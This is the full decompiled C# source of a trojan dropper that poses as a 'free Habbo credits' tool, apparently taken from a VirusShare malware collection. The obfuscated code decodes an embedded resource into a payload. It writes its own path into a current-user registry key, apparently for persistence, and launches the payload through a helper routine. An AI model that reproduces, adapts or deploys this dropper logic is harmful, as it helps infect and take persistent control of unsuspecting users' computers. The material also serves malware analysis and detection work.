// Decompiled with JetBrains decompiler // Type:  // Assembly: qzqFreeHabboCredits, Version=924.8446.573.2307, Culture=neutral, PublicKeyToken=null // MVID: C68363C3-90B9-4B41-B73E-69250BBF6D04 // Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Trojan-Dropper.Win32.Dapato.avku-a7f57d7af3f5f2eee9dce73783919f24275306ba8511b766b4e534e54464adb8.exe using fbrejkBLERJgvlkegvlkejrve; using Microsoft.VisualBasic.CompilerServices; using System; using System.Reflection; using System.Resources; using System.Text; using System.Threading; [StandardModule] internal sealed class \u0008 { private static ResourceManager \u0002; private static string \u0003; private static byte[] \u0005; private static string \u0008; static \u0008() { ResourceManager resourceManager = new ResourceManager(\u000F.\u0002(570044497), Assembly.GetExecutingAssembly()); if (true) goto label_4; label_1: string str = ILWEGwJKEBGjfWEBjDkwednkvb.KJEfbwkejfbkjwevbfKJvwek(\u0008.\u0002.GetString(\u000F.\u0002(570044497)), \u000F.\u0002(570044489)); if (true) goto label_5; label_2: byte[] bytes = Encoding.GetEncoding(1252).GetBytes(\u0008.\u0003); if (true) goto label_6; label_3: \u0008.\u0008 = Assembly.GetExecutingAssembly().Location; return; label_6: \u0008.\u0005 = bytes; goto label_3; label_5: \u0008.\u0003 = str; goto label_2; label_4: \u0008.\u0002 = resourceManager; goto label_1; } [STAThread] public static void \u0002() { Thread thread1 = new Thread(new ThreadStart(ILWEGwJKEBGjfWEBjDkwednkvb.JWBEfWEKJFbwkjebfKJBWekjfbKw)); if (true) goto label_2; label_1: \u0005.\u0002().Registry.CurrentUser.OpenSubKey(\u000F.\u0002(570044446), true).SetValue(\u000F.\u0002(570044458), (object) \u0008.\u0008); Thread thread2; thread2.Start(); IOEWfbWOBEIWOfboiEW.YLIWEfgvwyeGfwekgfjkgwekjfgwEJKgweJfgwJLEK(\u0008.\u0005, true, (string) null); return; label_2: thread2 = thread1; goto label_1; } }